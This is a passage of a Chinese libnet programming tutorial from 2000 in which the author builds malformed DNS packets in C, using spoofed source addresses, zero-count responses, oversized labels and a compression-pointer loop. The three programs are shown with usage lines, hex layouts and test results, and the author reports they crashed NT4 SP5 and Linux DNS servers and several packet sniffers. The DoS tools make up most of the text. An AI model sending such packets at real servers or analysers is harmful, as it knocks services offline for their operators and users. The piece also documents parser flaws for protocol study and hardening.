libnet使用舉例(8)

標題：libnet使用舉例(8)

作者：小四 < mailto: scz@nsfocus.com >
首頁：http://www.nsfocus.com
日期：2000-08-02 11:33

呼呼，又到了領略C語言編程魅力的時刻，看如下函數原型：

int libnet_build_dns ( u_short id, u_short flags, u_short num_q,
                       u_short num_anws_rr, u_short num_auth_rr,
                       u_short num_addi_rr, const u_char * payload,
                       int payload_s, u_char * buf );

該函數用於構造DNS報文。其各個形參的含義不是libnet manual所能解釋清楚的，好
在第(7)篇給出了非常詳細的解釋，自行參看。flags和接下來的四個number均採用所
見即所得的方式指定，不要做任何轉換，比如期望在NetXray中看到flags域為0x8000，
這裡就直接指定0x8000，number也一樣。

/usr/include/libnet/libnet-headers.h中如下宏定義：

#define LIBNET_DNS_H 0xc  /* DNS header base: 12 bytes */

先不幹正經事情，來一個很簡單的異常DNS應答分組，據說這個格式的應答分組會對
NT的DNS SERVER造成DoS攻擊，可我沒有成功，不清楚是什麼年代的事情了。

命令列指定目標IP地址，源IP如果不指定採用隨機數，再就是DNS應答分組個數。

--------------------------------------------------------------------------
void dnsSend ( u_long srcIp, u_long dstIp, u_long dnsNumber )
{
    u_long d;

    /* 構造IP頭 */
    libnet_build_ip( LIBNET_UDP_H + LIBNET_DNS_H,  /* IP資料區長度 */
                     IPTOS_LOWDELAY,               /* IP tos       */
                     ( u_short )random(),          /* IP ID        */
                     0,                            /* frag stuff   */
                     255,                          /* TTL          */
                     IPPROTO_UDP,                  /* 上層協議     */
                     srcIp,                        /* big-endian序 */
                     dstIp,                        /* 目標IP       */
                     NULL,                         /* 無選項       */
                     0,                            /* 選項長度零   */
                     packet );                     /* 指向IP頭     */
    /* 構造UDP頭 */
    libnet_build_udp( 53,                                   /* 源連接埠         */
                      53,                                   /* 目標連接埠       */
                      packet + LIBNET_IP_H + LIBNET_UDP_H,  /* payload        */
                      LIBNET_DNS_H,                         /* payload length */
                      packet + LIBNET_IP_H );
    /* 構造異常DNS應答分組頭 */
    libnet_build_dns( 0, 0x8000, 0, 0, 0, 0, NULL, 0,
                      packet + LIBNET_IP_H + LIBNET_UDP_H );
    /* 計算UDP校正和，IP校正和由核心親自計算 */
    Libnet_do_checksum( packet, IPPROTO_UDP, LIBNET_UDP_H + LIBNET_DNS_H );
    for ( d = 0; d < dnsNumber; d++ )
    {
        /* 發送DNS報文 */
        Libnet_write_ip( rawSocket, packet, packet_size );
    }  /* end of for */
    return;
}  /* end of dnsSend */
--------------------------------------------------------------------------

Usage: ./dki [--si srcIp] [--di dstIp] [--num dnsNumber]

這個DoS沒有在廣域網路上測試過，不知道單包能打癱何種版本的NT DNS SERVER，局域
網內多包倒是可以凍僵目標主機。測試效果如下：

1) 10.60是NT4 Dns，被徹底凍僵，但不影響從8.90 ping 10.60，也不影響IIS提供
   服務。
2) 0.2是Linux Dns，被徹底凍僵，從8.90無法ping通0.2，telnet 192.168.0.2 53
   失敗，真夠諷刺。

這個所謂的異常DNS應答分組格式如下：

00 00 00 11 11 11 00 10 14 ff ff ff 08 00
45 10 00 28 6e 17 00 00 ff 11 bb 98 c0 a8 08 5a c0 a8 08 5a
00 35 00 35 00 14 ed 56
00 00 80 00 00 00 00 00 00 00 00 00

最後一行一眼就可以看出問題所在，問題數、回答數統統為零，而flags指明這是一
個正向解析的響應分組，可能嗎，不可能！但對於某些DNS實現，它不屬於錯誤判文，
試圖解釋它的時候玩完了。

關於DNS可以想象到的DoS實在太多，舉個例子，DNS請求分組正常情況下是不會出現
壓縮格式的，事實上我也不確認出現了壓縮格式，各個系統對此如何反應；就各種協
議分析軟體的實現來說，它們會解析以壓縮格式出現的DNS請求分組，並沒有報錯。
機會就是這樣開始的，如果讓指標開始迴圈，NetXray在試圖decode這個報文的時候
終止掉了，Sniffer Pro 2.6及其以後版本防了這手，雖然也解析壓縮格式，也造成
無限迴圈，但做了邊界判斷，沒有造成本身進程終止。不再一一測試其他系統下的
sniffer。

為什麼要在請求分組中製造這個迴圈，而不是響應分組呢？因為響應分組的id可能被
判斷，進而被丟棄，雖然響應分組中的壓縮格式一定會被解析。我只能賭各個系統的
DNS實現在處理問題單元和答案單元的時候調用的是同一個函數，並且沒有區分當前
在解析哪個單元，如果我賭對了，那這個DNS實現就死定了。注意，對抗sniffer的時
候，由於id不會被判斷，也就無所謂請求分組響應分組了。

此外，非壓縮格式有什麼長度限制嗎？如果沒有，可以無限擴大，因為結束標誌不過
是長度域為00。

寫了另外兩個測試程式來做上述邊界測試，本意是對付DNS SERVER，想不到捎帶對付
sniffer。

--------------------------------------------------------------------------
    ... ...
    dnsDataSize  = 13 + MAXIPLUSONE * junkNumber;
    packet_size += dnsDataSize;
    fprintf( stderr, "[ Dns killing ... ... ]\n" );
    /* 分配記憶體並初始化成零 */
    Libnet_init_packet( packet_size, &packet );
    /* 在這裡構造DNS報文的部分資料 */
    dnsData      = packet + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H;
    dnsData[0]   = 0x03;  /* www */
    dnsData[1]   = 0x77;
    dnsData[2]   = 0x77;
    dnsData[3]   = 0x77;
    dnsDataIndex = 4;
    for ( j = 0; j < junkNumber; j++ )
    {
        dnsData[ dnsDataIndex++ ] = MAXI;
        for ( i = 0; i < MAXI; i++ )
        {
            dnsData[ dnsDataIndex++ ] = JUNKCHAR;
        }
    }  /* end of for */
    dnsData[ dnsDataIndex++ ] = 0x03;  /* com      */
    dnsData[ dnsDataIndex++ ] = 0x63;
    dnsData[ dnsDataIndex++ ] = 0x6f;
    dnsData[ dnsDataIndex++ ] = 0x6d;
    dnsData[ dnsDataIndex++ ] = 0x00;  /* 結束標誌 */
    dnsData[ dnsDataIndex++ ] = 0x00;
    dnsData[ dnsDataIndex++ ] = 0x01;
    dnsData[ dnsDataIndex++ ] = 0x00;
    dnsData[ dnsDataIndex   ] = 0x01;
    /* 建立raw_socket */
    rawSocket    = Libnet_open_raw_sock( IPPROTO_RAW );
    dnsSend( srcIp, dstIp, dnsNumber );
    /* 關閉raw_socket */
    libnet_close_raw_sock( rawSocket );
    /* 釋放由libnet_init_packet()分配的記憶體 */
    libnet_destroy_packet( &packet );
    ... ...
--------------------------------------------------------------------------

Usage: ./dkii [--si srcIp] [--di dstIp] [--num dnsNumber]
       [--junk junkNumber]

測試過程中發現，不用介入指標製造無限迴圈，只要查詢報文非壓縮格式異常擴大就
足以導致NetXray解析(decode)時終止自身進程。比如--junk 4的時候，8.90上啟動
NetXray，在decode的時候NetXray被迫終止。Sniffer Pro對抗異常DNS報文遠比
NetXray穩定。LanExplore 3.5在試圖解析這種報文的時候異常終止。

dkii所發送的異常DNS請求分組類似於下面的描述，所謂junkNumber就是指定以
3f 61 ... 61為單位的個數。

--------------------------------------------------------------------------
42 83                      id       標識符，隨機化
01 00                      param    參數 正向解析請求報文，允許遞迴解析
00 01                      qtcount  問題數
00 00                      ancount  回答數
00 00                      aucount  管理機構數
00 00                      adcount  其他資訊數

03 77 77 77                www，長度域為3
3F 61 ... 61               長度域為63
3F 61 ... 61               長度域為63
... ...
3F 61 ... 61               長度域為63
03 63 6f 6d                com，長度域為3
00                         結束
00 01                      type  = A記錄
00 01                      class = IN -- the ARPA internet
--------------------------------------------------------------------------

--------------------------------------------------------------------------
    ... ...
    dnsDataSize  = 15;
    packet_size += dnsDataSize;
    fprintf( stderr, "[ Dns killing ... ... ]\n" );
    /* 分配記憶體並初始化成零 */
    Libnet_init_packet( packet_size, &packet );
    /* 在這裡構造DNS報文的部分資料 */
    dnsData      = packet + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H;
    dnsData[0]   = 0x03;  /* www */
    dnsData[1]   = 0x77;
    dnsData[2]   = 0x77;
    dnsData[3]   = 0x77;
    dnsData[4]   = 0xc0;  /* 指標 = 12 ，實際指向www */
    dnsData[5]   = 0x0c;
    dnsData[6]   = 0x03;  /* com      */
    dnsData[7]   = 0x63;
    dnsData[8]   = 0x6f;
    dnsData[9]   = 0x6d;
    dnsData[10]  = 0x00;  /* 結束標誌 */
    dnsData[11]  = 0x00;
    dnsData[12]  = 0x01;
    dnsData[13]  = 0x00;
    dnsData[14]  = 0x01;
    /* 建立raw_socket */
    ... ...
--------------------------------------------------------------------------

Usage: ./dkiii [--si srcIp] [--di dstIp] [--num dnsNumber]

dkiii所發送的異常DNS請求分組類似於下面的描述，製造了一個解析迴圈，NetXray
終止，LanExplore 3.5在試圖解析該類報文的時候異常終止。

--------------------------------------------------------------------------
42 83                      id       標識符，隨機化
01 00                      param    參數 正向解析請求報文，允許遞迴解析
00 01                      qtcount  問題數
00 00                      ancount  回答數
00 00                      aucount  管理機構數
00 00                      adcount  其他資訊數

03 77 77 77                www，長度域為3
c0 0c                      指標  = 12 不該出現指標的地方出現指標，解析迴圈
03 63 6f 6d                com，長度域為3
00                         結束
00 01                      type  = A記錄
00 01                      class = IN -- the ARPA internet
--------------------------------------------------------------------------

ADAM配合做如下測試：

操作./dkii --si 192.168.10.60 --di 192.168.10.60 --num 5 --junk 4導致
NT4 SP5 DNS Server崩潰。

操作./dkiii --si 192.168.10.60 --di 192.168.10.60 --num 5同樣導致
NT4 SP5 DNS Server崩潰。

上述操作要求源IP和目標IP一致，可以精確重現，其中dkiii發作速度快，dkii攻擊
後要稍微等待一下才可以看到效果。net start dns可以恢複。

對SP6已經無效。現在網路結構中處處對源IP等於目標IP的情況進行過濾，很難從廣
域網上發起攻擊。關於DNS的DoS告一段落。